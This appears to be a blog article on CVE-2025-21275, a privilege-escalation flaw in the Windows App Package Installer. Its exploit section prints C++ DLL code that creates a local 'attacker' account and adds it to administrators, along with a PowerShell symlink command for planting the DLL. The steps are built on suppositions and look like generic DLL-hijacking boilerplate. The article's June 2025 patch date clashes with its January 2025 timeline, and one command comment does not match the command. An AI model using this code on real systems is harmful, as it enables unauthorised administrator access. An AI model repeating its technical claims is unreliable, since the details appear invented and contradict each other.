In June 2025, Microsoft addressed a serious security flaw tracked as CVE-2025-21275. This vulnerability could allow local attackers to get system-level privileges by exploiting the Windows App Package Installer. In this article, we break down the issue, show how an attacker could exploit it with code snippets, and discuss what you should do right now.

What Is CVE-2025-21275?

CVE-2025-21275 is an Elevation of Privilege (EoP) vulnerability in Windows App Package Installer (AppInstaller.exe). This component is responsible for installing MSIX, APPX, and other modern application packages in Windows 10 and 11.

An attacker who successfully exploits this flaw could run arbitrary code with elevated (System) privileges. If you're running a vulnerable version, an attacker with regular user access can potentially "jump" to SYSTEM permissions.

Technical Breakdown

The vulnerability happens because AppInstaller.exe mishandles certain permission checks when processing package installation requests. If an attacker crafts a malicious application package and tricks a user (or automated system) to install it, they can exploit this flaw to launch commands as SYSTEM.

Steps To Exploit CVE-2025-21275

> For educational and defensive purposes only. Never launch attacks against systems you do not own or have permission to test.

1. Plant a Malicious DLL

Suppose the vulnerable process loads a DLL from an insecure folder. You create a malicious DLL (e.g., userenv.dll) that launches cmd.exe as SYSTEM.

Malicious DLL (C++ Code)

// exploit_dll.cpp
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if(fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c net user attacker Password123! /add");
        system("cmd.exe /c net localgroup administrators attacker /add");
    }
    return TRUE;
}

*Compile this with Visual Studio as a DLL file.*

Create an MSIX or APPX file structure.

- Place the malicious DLL in a writable directory where AppInstaller looks first (using symlinks, or folder ACL misconfiguration).

Supposing the installer writes to a temp folder (C:\ProgramData\Temp\). You set up a symlink as a regular user:

# Native symlink to protected folder
New-Item -ItemType SymbolicLink -Path "C:\ProgramData\Temp\userenv.dll" -Target "C:\Users\Public\exploit_dll.dll"

If the installer loads userenv.dll from the temp directory, it now loads your malicious DLL.

Original References

- Microsoft Security Advisory CVE-2025-21275
- Microsoft Patch Tuesday – June 2025
- HackerOne: DLL Hijacking Explained

Conclusion

CVE-2025-21275 is a clear reminder that even built-in installers can become serious threats without rigorous permission checks. Local elevation exploits like this are gold for attackers because they turn a harmless user account into all-access SYSTEM. Secure your endpoints by patching early, monitoring process behavior, and keeping careful control of who can write where.

Stay safe: Patch, monitor, and test for misconfigurations before someone else finds them!

*This article is exclusive and written in simple terms for defenders, admins, and curious minds. Share responsibly and never use these methods to harm others.*

Timeline

Published on: 01/14/2025 18:15:47 UTC
Last modified on: 02/21/2025 20:28:44 UTC